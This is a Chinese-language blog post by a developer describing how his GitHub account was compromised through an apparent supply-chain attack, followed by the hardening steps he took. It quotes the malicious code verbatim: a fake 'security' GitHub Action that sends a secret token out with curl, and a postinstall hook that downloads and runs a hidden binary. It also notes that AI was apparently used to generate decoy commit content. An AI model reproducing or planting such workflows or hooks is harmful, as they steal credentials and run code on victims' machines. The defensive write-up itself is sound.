你还可以在我的个人网站上阅读到这篇文章
在经过这一系列事件之后我悟出了一个道理:账号没有被盗并不代表着没有被泄漏,更不代表安全。可能只是说时机未到,或者说它的性价比不高。我总将会为我的不小心买单。
GitHub 账号的四次被盗经历
这里的所说的“被盗”可能并不准确,因为黑客并没有修改我的账号密码让我彻底无法登陆,而是在不同的时间用不同的手段在我的项目中植入了恶意代码。
第一起事件发生在去年九月 28 日,一个伪装成安全扫描的 GitHub Action 被添加进了我的私人 repo 中,其内容如下:
name: Github Actions Security
on:
workflow_dispatch:
push:
jobs:
send-secrets:
runs-on: ubuntu-latest
steps:
- name: Prepare Cache Busting
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
- name: Github Actions Security
run: |
curl -s -X POST -d 'INVINCIBLE_TOKEN=${{ secrets.INVINCIBLE_TOKEN }}' https://xxxx.xxxx
很明显这个 GitHub Action 的目的是盗取我为其他 GitHub Action 添加的一个名为INVINCIBLE_TOKEN 的 secret ,这个 secret 添加于 2024 年 1 月,目的是用于该项目的打包与镜像发布。
第二起事件发生在今年的 4 月 18 日,我的 GitHub 账号中额外多处了 3 个代码仓库,统统只有一个包含单个 txt 文件的提交,并且仓库的默认分支全部都设置为了dev_remote_ea5Eu/test/v1 ,通过互联网搜索我跟觉得它像一次攻击测试。你现在还可以找到其中的一个公开 repo ( hh54188/break-through-limit )
第三起事件发生在今年的 5 月 22 日,我的多个公开的以及私人的 repo 中的 package.json 文件被添加进了一段恶意的 postinstall 脚本,内容如下:
"test:dom:watch": "vitest watch src/tests/dom-dependencies.test.ts",
"postinstall": "curl -skL https://github.com/xxx/xxx/releases/latest/download/xxx -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &"
}
postinstall 脚本会在项目的依赖包安装完成之后自动执行,很明显这段脚本的意图是从 GitHub 上的某个 repo 里下载一段程序存储在我电脑的某个文件夹中并赋予其执行权限。很可惜该恶意账户已经被删除,网络上也没有找到对于该恶意程序的分析,这个程序究竟能完成哪些操作不得而知。
值得注意的是这次攻击似乎 AI 也参与其中,注意上述 postinstall 脚本上方的 test:dom:watch 命令,该段命令是随 postinstall 一同提交的,目的是为掩人耳目让人认为这是一次正常的提交。并且我检查过不同 repo ,每个“掩人耳目”的脚本命令不尽相同,很显然这是 AI 根据 package.json 的上下文生成的。
最后一起事件我不确定是否与之前有关,从今年的 6 月 8 日周一一早起我的 GitHub 便无法访问,我既登陆不了,他人访问我的 GitHub 账号主页也只能得到 404 的返回结果。同时我也没有收到任何关于账号被删除或者停用的邮件。在与 GitHub 官方邮件沟通之后才发现原来是因为我的 GitHub 可能已经被盗所以被暂停了使用:
We recently suspended your account out of an abundance of caution as an investigation indicated it may have been compromised. We apologize for any inconvenience this may have caused while we investigated the potential impact. We recommend reviewing account security best practices to help reduce the risk of future security-related suspensions.
并且差不多在一个礼拜之后,我的 Gemini API Key 以及其关联的 GCP 项目被暂停使用,原因是它似乎已经被黑客侵入用于非法活动

对于这四起事件,我时候能够诊断出的信息非常有限。在借助多个 AI ,通过对比不同 repo 的提交记录,GitHub 的 security log 等之后,只能推断出大概率是因为 GitHub PAT(Personal Access Token) 或者是 ssh key 发生了泄漏,至于从哪个渠道以及何时泄漏的无从知晓。我也使用 TruffleHog 以及 Gitleaks 对我名下的多个开源项目进行了扫描,并没有发现将 secret 提交到代码中的迹象。同时我还对我购买的 VM 进行了一些安全分析,例如登陆日志或者常驻进程,也并没有发现可疑的地方。
不过好消息是,我并没有遭受任何金钱上的损失。
对症下药
在实际修复安全漏洞的过程中我是按照组件的维度(如 GitHub 、Virtual Machine 、某个线上服务),纵向的集中采取一些措施;但是在本文中我会按照横向对采取的各类措施进行拆解,便于大家理解背后的原理与动机。
事实上只要将上述攻击的有关特征在互联网上稍加搜索,就会发现我只是某几轮大规模攻击的受害者之一,甚至如果你现在在 GitHub 上去搜索 postinstall 中的一些关键词,还能看到依然有大规模的 GitHub 项目中招而不自知。
根据能够搜索到的各类安全事件报告,上述的攻击可能都来自于供应链攻击( supply chain attack )。供应链攻击是指攻击者不直接攻击最终目标,而是先入侵它所依赖的软件、硬件、服务商或更新渠道。这样攻击者便可以借助“被信任的上游环节”把恶意代码、后门或篡改内容传递给大量下游用户,也就是我的项目。
当然我没有去继续证明究竟是哪一个依赖的包带来恶意代码盗走了 PAT ,现在去深究似乎也没有太大的必要。解决问题的关键在于,如何避免问题的再次发生。
谨慎对依赖包进行升级
事实上被入侵的包生存的时间并不会太长,在去年著名的 axios 供应链攻击事件中,根据官方的事后总结,带有恶意代码版本的包实际上只存活了 3 个小时;在最近的 Mastra 类库的供应链攻击事件中,出现问题的包也没有存活过 3 个小时。所以只要能够延迟依赖包更新到最新版本,供应链攻击便可以完全避免。
首先.npmrc 可以帮助我们达成这个目的,.npmrc是 npm 的配置文件,用来定义包管理行为,比如 registry 地址、认证 token 、代理、缓存和安装策略等等。我们可以在项目的根目录创建一个名为 .npmrc文件并将其中min-release-age 值设置为 7d ,这能够拒绝安装任何 7 天之内发布的包版本。
另外 GitHub 的 GitHub Dependabot 也能帮我们实现同样的目的,GitHub Dependabot 是 GitHub 提供的依赖安全与更新工具,会自动检查项目里使用的第三方库是否有已知漏洞或可升级版本。它可以自动发起 Pull Request ,帮助你更新依赖、修复安全问题并保持版本不过时。以下是一段与其相关的配置:
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
cooldown:
default-days: 7
semver-minor-days: 3
semver-patch-days: 3
其中的 cooldown 表示发现更新后不会立刻提 PR:默认等 7 天,而 minor 和 patch 版本更新只等 3 天,这样可以减少过于频繁的升级。
检测恶意代码
既然大多数的供应链攻击依赖 postinstall 脚本,那我们便可以有针对性的检测新添加的包是否包含 postinstall 脚本,以及在项目的单次提交中是否包含 postinstall 脚本。后者通过 GitHub Action 判断起来的非常简单不必多说;前者的也不难:首先通过检测 package-lock.json 文件来发现新添加的依赖包,再通过判断其 hasInstallScript 属性是否为 true 来决定是否出发报警。hasInstallScript 的作用是用来标记某个 npm 包是否包含了安装阶段脚本,比如 preinstall、install 或 postinstall
然而仅仅的见招拆招还远远不够,我们必须解决更深层次的问题。
理解权限,紧收权限
必须承认在这一系列事故发生之前,我根本不理解各种密钥机制是如何工作。我只会用它们,只会在每次更换电脑或者有新的 GitHub 工作账号时,使用 ssh-keygen 生成 ssh key ,并且添加到账号中。我甚至搞不清是需要将 id_rsa 文件还是 id_rsa.pub 文件中添加到 GitHub 中,并且在 ssh key 生成过程中也总是选择将 passphrase 是选择留空。
问题在于当你不确定某个工具能够做些什么,以及不当的使用能够带来多大危害时,你会缺乏敬畏之心。在衡量应该如何使用它时,我考虑的仅仅是使用过程中的方便,例如在生成 key 时总是无脑的勾上所有选项,也懒得设置一个过期时间,或者默认赋予其最高权限。这些统统都是安全隐患。
如果你也和我一样,那我建议你借助 AI 为你生成一篇 ssh key 的入门教程,我相信它能让你学到很多东西,也能能够帮助你理解为什么我要采取以下措施。
在我看来防止钥匙被盗的方式就是没有钥匙,于是在这一系列事件发生之后我不停在问自己的一个问题是:我真的需要 ssh key 吗?我真的需要用户名或者密码吗?我真的需要 PAT 吗?
以 ssh key 为例,在我的开发流程中 ssh key 的使用场景有三类,
- VM 主机拉取 GitHub 上的最新代码使用到的 ssh key
- GitHub Action 中用于登陆到 VM 进行部署用的 ssh key
- 我的主机登陆远端 VM 用到 ssh key
前两类 ssh key 我没有办法彻底干掉,但我后面会提到有办法减轻它带来的风险;第三类 ssh key 完全没有存在的必要——原因很简单,因为现在绝大部份的云服务商都已经允许开发者通过网页版的 terminal 来远程访问 VM 。而在登陆网页版 terminal 之前,开发者必须要通过网站的 2FA 验证,这比在本地暴露一个千年不变的 ssh key 更加安全。
同理,既然 web terminal 能够解决我所有的 VM 登陆问题,那么密码和用户名的登陆方式也就没有存在的必要。安全起见我们可以将用户名加密码的登陆方式彻底禁用,顺便禁止以用户名密码登陆 root 账户,这两项配置都可以在 /etc/ssh/sshd_config 文件中进行修改:
PasswordAuthentication no
PermitRootLogin prohibit-password
然而对于那些无法被彻底移除的 ssh key 应该怎么办才能减少风险呢?也就说即使黑客获取到了我的 ssh key ,如何做才能将损失降到最低?答案是收紧权限。如果我的 PAT 有的仅仅是单个代码库的读权限的话,对其来说也并没有任何价值,毕竟在这个 AI 时代代码并不值钱。
“收紧权限”其实是一个再正常不过的防范手段或者安全意识了,但在相当长的一段时间内我都没能做到,因为在此之前我从来不认为我的账号的可能会被盗也不认为它有被什么盗取的空间,“网络安全”这件事离我很远。
对于上面提到的第一类更新代码用的 ssh key ,当我们在 GitHub 中添加公钥时(该 ssh key 由 VM 生成,私钥保存在 VM 上),公钥不应该添加在 GitHub 账号级别的 ssh 配置中( settings → SSH and GPG keys ),而是应该添加在 repo 设置中作为其 Deploy Keys ( repo → Settings → Deploy Keys ),这样能将该 ssh key 访问的权限限制在单个 repo 中。
而对于上面提到的第二类 ssh key , 鉴于其能够直接登陆我的机器,我们对其要更是小心。我的做法是为其创建独立的账户,也就是说使用该 ssh key 只能登陆特定的 VM 账户,而该账户在 VM 上能够访问到的资源是有限的。
其他类似的改进措施包括重新生成 ssh key 并设置 passphrase ,仅限指定 IP 可以访问我的 managed DB 等等。
然而更大的危险其实潜藏在 PAT 中。
GitHub Personal Access Token
在相当长一段时间内,我仅仅把 GitHub PAT 当作为一种用于“机器访问 GitHub 资源”的凭证,也就是说当有程序需要通过 API 访问 GitHub 资源时,我会为其申请一枚 token 作为访问凭据。所以在今年我在开发自己的 code debug AI agent 的过程中,为了便于 AI 通过 MCP Server 访问我的 GitHub 资源,我选择直接在 GitHub 网站界面上创建 token 并通过环境变量的方式传递给它。为了避免“麻烦”,还将 token 的过期时间设置为无限,并且赋予其尽可能多的权限。
这样的理解是不准确的,这一系列操作遵循的也是反模式。
PAT 比用户名加密码更加危险,因为它代表的就是用户本人,谁掌握了 PAT ,谁就可以使用 PAT 被赋予的一切权限,你可以尝试使用 PAT 去创建一个 issue 或者 PR ,会发现创建者的头像就是你自己。
并且对于一个团队来说员工的 PAT 难以管理,例如无法进行统一的权限变更。如果员工离职,公司也无法删除他的 PAT ,虽然他被从 org 中剔除,但依然有风险能够访问其他资源。
更重要的是它是某种形式上“明文”保存。当然所有的凭据都是某种意义上的明文,这里我所说的“明文”指的是它会被保存在我本地项目的.env.local文件中,并且长期在此存在,对我肉眼可见。而如果采取的我后面介绍的方式,token 将仅存在于程序与程序之间,对开发者并不可见,这样更加安全。
GitHub App
事实上,GitHub App 才是外部程序用于访问 GitHub 资源的最佳方式。
简单来说 GitHub App 是一个“被 GitHub 认可的外部程序身份”(注意它是一种身份,并不代表着某个实际用 Node.js 或者 Python 编写的程序),使得外部程序以“该身份被授予的权限”而不是“某个员工账号”的身份访问 GitHub 资源,它使用短期 token 工作并支持细粒度授权,更适合后端服务和自动化系统,它也更容易被审计和管理。例如你希望 Gemini 能够实时对某个代码仓库下的 PR 进行评审,你要做的第一步不是为其生成 PAT ,而是安装 Gemini Code Assist 这个 GitHub App ,选择允许其访问的 repo 以及确认赋予给它的权限。
开发 GitHub App 是一个复杂的过程,其中涉及到很多的概念这里就不展开了,不过这里我们可以通过一个简单的例子来看看如何借助 GitHub App 来实现获取某个 repo 源码的过程:

注意看我们的后端程序为了能够拿到一个读取代码仓库的 token ,需要经历好几次的密码交换过程:
- 首先后端需要用私钥生成一个 app token 。其中私钥像是后端自己保管的“印章”或“签字笔”,只用来证明“我是这个 GitHub App”;而这里的 app token ( JWT )类似于用私钥临时签出来的一张“应用身份证”,用来告诉 GitHub API:“现在确实是这个 App 在说话。”
- 然后程序才得以使用 app token 来换一张能够用来真正干活的 installation token ,并返回给后端程序用于其访问源码。installation token 默认一小时过期。
整个 token 的生成与使用的过程对用户来说是完全不可见的。
与直接使用 PAT 相比这里多了不少集成与开发的工作,一方面我需要开发与一个独立的 GitHub App ,另一方面我选择自建一个简单的属于自己的 GitHub MCP Server 而非使用官方的 MCP Server ,但这样更便于与 GitHub App 间的集成。但现在对于我来说为了安全这是值得的:

结尾
其他的改进手段就显得比较零碎了,例如我把 Gemini 计费方式改成了先付后用而非先用后付,这样即使在 API Key 被盗之后也能够让我的损失金额可控,同时还编写了程序帮助我定期 review GitHub 的代码库提交情况以及 security log ,及时发现非法的访问操作;最后还对大部分的程序进行了瘦身,从 secrets 以及代码层面移除不需要的 API Key ,减少它们暴露的机会。
上面所有的这些措施到今天差不多算落地了,在经过这一些列事件之后也有不少长进,但现在想起来还是有些心有余悸。我想起来我还做个公司内某个项目的 security champion——但现在看来并没有对我的安全意识有多大帮助(你是无法叫醒一个装睡的人的)。还是要靠事教人,正所谓人教人不会,事教人一次就够了。
最后我想为我的播客“程序员新声”借这次事件录制一期关于账号安全防护,或者供应链攻击安全防护的节目,希望能够系统的从专业角度来向更多人普及这方面的知识。如果你是这个领域的专家或者在这方面拥有丰富的经验欢迎联系我。